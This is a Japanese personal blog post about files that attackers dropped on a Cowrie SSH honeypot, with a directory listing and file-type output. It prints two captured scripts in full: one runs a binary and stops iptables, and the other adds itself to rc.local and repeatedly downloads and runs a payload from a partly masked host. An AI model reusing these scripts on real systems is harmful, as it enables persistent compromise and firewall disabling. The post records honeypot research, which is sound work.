とりあえずブログ

普通のサラリーマンの雑多なブログ

SSHハニーポットCowrieでダウンロードされたファイルを見てみる

しばらくCowrieを放置していたのですが、かなりアクセスが来ているようで、実際にダウンロードされたファイルもたくさんあったので、どんなファイルがダウンロードされていたかご紹介したいと思います。

f:id:tkm03:20180610184955p:plain

Cowrieの場合、攻撃者がSSHでログインして何かしらのファイルをダウンロードした場合、上記の公式ドキュメントのとおりdlディレクトリに格納されます。

早速そこのディレクトリの中を覗いてみようと思います。

-rw-r--r--  1 cowrie cowrie      59 Jun 10 02:44 07f637a3d34119fc8818d7eb6d7b4aa17891a1bf9cb563df13d6802864b89386
-rw-r--r--  1 cowrie cowrie 1035157 Jun  1 01:24 0ffa9e646e881568c1f65055917547b04d89a8a2150af45faa66beb2733e7427
-rw-r--r--  1 cowrie cowrie    2250 May 31 04:10 12a51f899c8fab7c131b4b851cca0c84e95f31aadc86ce1198fae91126304127
-rw-r--r--  1 cowrie cowrie 3239584 Jun  4 21:38 12d6f7971e5797e060621aa150eda78e814a3a9dab093f6e58d83cd94a71ced1
-rw-r--r--  1 cowrie cowrie 1223123 Jun  6 14:56 176a317df7b801a5af856e8b351995dacba50f6d4df1281235dce536e63c6251
-rw-r--r--  1 cowrie cowrie    2267 Jun  6 22:59 36fc374823925e9d1c14bd41e282284111fbd345c8d9755974ea0e568f8ddbee
-rw-r--r--  1 cowrie cowrie   65400 Jun  4 14:35 399851bc221ffe3999f82ff7cd70a150ed92dbaa04c6e0f21bccf176d5dd0ceb
-rw-r--r--  1 cowrie cowrie    7200 Jun  3 18:48 4188692fd507fe4c362ad5aa99b5db01673e88ec8bfe605986ceb1480c2e6c97
-rw-r--r--  1 cowrie cowrie    2327 Jun  1 02:12 4f75eec50688856480316bb404ba90d33d5de43ded45066b5a3d9b3fb7cc8720
-rw-r--r--  1 cowrie cowrie 1034309 Jun  1 01:22 5685b086ce12ffede8814e303223a67eca476735dfe4e9e84b751354a5ea0232
-rw-r--r--  1 cowrie cowrie 1203885 Jun  1 01:23 5c8c41253aa68adeb955e7d1c7b8e084e06537f75eff12c3f3a0f3cb30cb2152
-rw-r--r--  1 cowrie cowrie       1 Jun  7 17:00 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d
-rw-r--r--  1 cowrie cowrie    2253 Jun  4 21:37 7f4baf3bc359fe5679b76b2873ee5d3e474f6436bbb2f3027383ac87b9e2b590
-rw-r--r--  1 cowrie cowrie 1215093 Jun  1 01:23 86fbdd7df9486a17e9c408c7e50635e26402fdf297c9e97f1a5256100401dcc5
-rw-r--r--  1 cowrie cowrie 1223123 Jun  4 13:11 885fdc6be061dae3a95501f636924c1e7305684a468cd382ed8246e8bf84a5ff
-rw-r--r--  1 cowrie cowrie 1069817 Jun  1 01:22 9c2848962733846bf50b490fd8f6c7ce9ecade2d3f2f530f5ecbba283af87d3a
-rw-r--r--  1 cowrie cowrie      73 Jun  6 14:58 9e5f93361b899d85a00a286bd1ea96b056d102926f96c131fc988739eca18355
-rw-r--r--  1 cowrie cowrie 1223123 May 31 04:10 beba1a9b20f23f022bd354e5128c463bbe52c3715b406a3aae73e7e33f39518a
-rw-r--r--  1 cowrie cowrie    7432 Jun  1 17:58 d94e3cd7a3575da5b8326298fe93fa7504979640257d3beab511f4257ac47803
-rw-r--r--  1 cowrie cowrie 1236080 Jun  6 22:59 e651a05c9cb0bde4e8efa635f699ba3e186afd4ae4c42760e3d97ffa01d8c8ca
-rw-r--r--  1 cowrie cowrie 1135000 Jun  4 13:19 f1c8304d393a42b42cde13663089a6bd46713f7abadfe8294efcec7142cb4fbe
-rw-r--r--  1 cowrie cowrie      58 May 31 04:10 f8c28666f2f2beb599dcc62721c41a82f52e63721dd2d5629073033b32a93154
-rw-rw-r--  1 cowrie cowrie      14 May 29 21:53 .gitignore
-rw-------  1 cowrie cowrie       0 Jun  4 21:36 tmp5g1gzD
-rw-------  1 cowrie cowrie       0 May 31 04:09 tmp8InVpr
-rw-------  1 cowrie cowrie       0 May 31 04:09 tmpi2B1wA

めちゃめちゃファイルがダウンロードされてます。。。笑

fileコマンドでどんなタイプのファイルが来ているか確認してみた結果がこちらです。

$ file *
07f637a3d34119fc8818d7eb6d7b4aa17891a1bf9cb563df13d6802864b89386: ASCII text
0ffa9e646e881568c1f65055917547b04d89a8a2150af45faa66beb2733e7427: ELF 32-bit LSB  executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
12a51f899c8fab7c131b4b851cca0c84e95f31aadc86ce1198fae91126304127: Bourne-Again shell script, ASCII text executable
12d6f7971e5797e060621aa150eda78e814a3a9dab093f6e58d83cd94a71ced1: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=c77cd956ea0e1620a83b6385e1246f0a8c59c270, not stripped
176a317df7b801a5af856e8b351995dacba50f6d4df1281235dce536e63c6251: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
36fc374823925e9d1c14bd41e282284111fbd345c8d9755974ea0e568f8ddbee: Bourne-Again shell script, ASCII text executable
399851bc221ffe3999f82ff7cd70a150ed92dbaa04c6e0f21bccf176d5dd0ceb: ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
4188692fd507fe4c362ad5aa99b5db01673e88ec8bfe605986ceb1480c2e6c97: Perl script, ASCII text executable
4f75eec50688856480316bb404ba90d33d5de43ded45066b5a3d9b3fb7cc8720: Bourne-Again shell script, ASCII text executable
5685b086ce12ffede8814e303223a67eca476735dfe4e9e84b751354a5ea0232: ELF 32-bit LSB  executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
5c8c41253aa68adeb955e7d1c7b8e084e06537f75eff12c3f3a0f3cb30cb2152: ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d: very short file (no magic)
7f4baf3bc359fe5679b76b2873ee5d3e474f6436bbb2f3027383ac87b9e2b590: Bourne-Again shell script, ASCII text executable
86fbdd7df9486a17e9c408c7e50635e26402fdf297c9e97f1a5256100401dcc5: ELF 32-bit MSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
885fdc6be061dae3a95501f636924c1e7305684a468cd382ed8246e8bf84a5ff: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
9c2848962733846bf50b490fd8f6c7ce9ecade2d3f2f530f5ecbba283af87d3a: ELF 32-bit LSB  executable, ARM, version 1, statically linked, stripped
9e5f93361b899d85a00a286bd1ea96b056d102926f96c131fc988739eca18355: ASCII text
beba1a9b20f23f022bd354e5128c463bbe52c3715b406a3aae73e7e33f39518a: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
d94e3cd7a3575da5b8326298fe93fa7504979640257d3beab511f4257ac47803: Perl script, ASCII text executable
e651a05c9cb0bde4e8efa635f699ba3e186afd4ae4c42760e3d97ffa01d8c8ca: ELF 64-bit LSB  executable, x86-64, version 1 (GNU/Linux), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=c0c8301fa94c01ee6d79e0d745b7830c77693a97, stripped
f1c8304d393a42b42cde13663089a6bd46713f7abadfe8294efcec7142cb4fbe: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
f8c28666f2f2beb599dcc62721c41a82f52e63721dd2d5629073033b32a93154: ASCII text
tmp5g1gzD:                                                        empty 
tmp8InVpr:                                                        empty 
tmpi2B1wA:                                                        empty 

一番多いのが、"ELF 32-bit MSB executable"という標準バイナリ形式のファイルでした。

それ以外でもPerlスクリプトだったり、普通のシェルスクリプトだったり、いろんな種類のファイルがダウンロードされていました。

今回は手軽に閲覧できるテキスト形式のファイルの中身を2つほどご紹介したいと思います。

ファイル①

こちらのファイルはroot権限でasd5121という実行ファイルを実行して、iptablesをストップするスクリプトになります。

cd  /root/
./asd5121&
./asd5121&
/etc/init.d/iptables stop

asd5121はバイナリ形式だったので、どんな動作をするのか確認することはできませんでしたが、iptablesを停止されるのは嫌ですね。

ファイル②

次はシェルスクリプトになります。

こちらもインターネット上からファイルをダウンロードして、そのファイルを実行するような動きになっています。

#Welcome like-minded friends to come to exchange.
#We are a group of people who have a dream.
#                qun:10776622
#                2016-06-14

if [ "sh /etc/Xsny.sh &" = "$(cat /etc/rc.local | grep /etc/Xsny.sh | grep -v grep)" ]; then
    echo ""
else
    echo "sh /etc/Xsny.sh &" >> /etc/rc.local
fi

while [ 1 ]; do
    Centos_sshd_killn=$(ps aux | grep "/tmp/ElccR" | grep -v grep | wc -l)
    if [[ $Centos_sshd_killn -eq 0 ]]; then
        if [ ! -f "/tmp/ElccR" ]; then
            if [ -f "/usr/bin/wget" ]; then
                cp /usr/bin/wget .
                chmod +x wget
                #./wget -P . http://XXX.top/ElccR
                ./wget -P /tmp/  http://XXX.top/ElccR &> /dev/null
                chmod 755 /tmp/ElccR
                rm wget -rf
            else
                echo "No wget"
            fi
        fi
        /tmp/ElccR &
        #./ElccR &
    elif [[ $Centos_sshd_killn -gt 1 ]]; then
        for killed in $(ps aux | grep "ElccR" | grep -v grep | awk '{print $2}'); do
            Centos_sshd_killn=$(($Centos_sshd_killn-1))
            if [[ $Centos_sshd_killn -eq 1 ]]; then
                continue
            else
                kill -9 $killed
            fi
        done
    else
        echo ""
    fi

    Centos_ssh_killn=$(ps aux | grep "/tmp/ElccR" | grep -v grep | wc -l)
    if [[ $Centos_ssh_killn -eq 0 ]]; then
        if [ ! -f "/tmp/ElccR" ]; then
            if [ -f "/usr/bin/wget" ]; then
                cp /usr/bin/wget .
                chmod +x wget
                #./wget -P .  http://XXX.top/ElccR
                ./wget -P /tmp/  http://XXX.top/ElccR &> /dev/null
                chmod 755 /tmp/ElccR
                rm wget -rf
            else
                echo "No wget"
            fi
        fi
        /tmp/ElccR &
        #./ElccR &
    elif [[ $Centos_ssh_killn -gt 1 ]]; then
        for killed in $(ps aux | grep "ElccR" | grep -v grep | awk '{print $2}'); do
            Centos_ssh_killn=$(($Centos_ssh_killn-1))
            if [[ $Centos_ssh_killn -eq 1 ]]; then
                continue
            else
                kill -9 $killed
            fi
        done
    else
        echo ""
    fi

    sleep 600
done

このスクリプトに記載されているURLにアクセスしてみましたが、現在はファイルをダウンロードできないようになっていました。

先頭にあるコメントが面白いですね。

Welcome like-minded friends to come to exchange.
We are a group of people who have a dream.

直訳すると「同じ志を持った仲間を歓迎する。我々はある夢を持ったグループです。」って感じですかね。

今後もCowrieのログは観察していこうと思います。

関連記事です。

saito.hatenadiary.com

saito.hatenadiary.com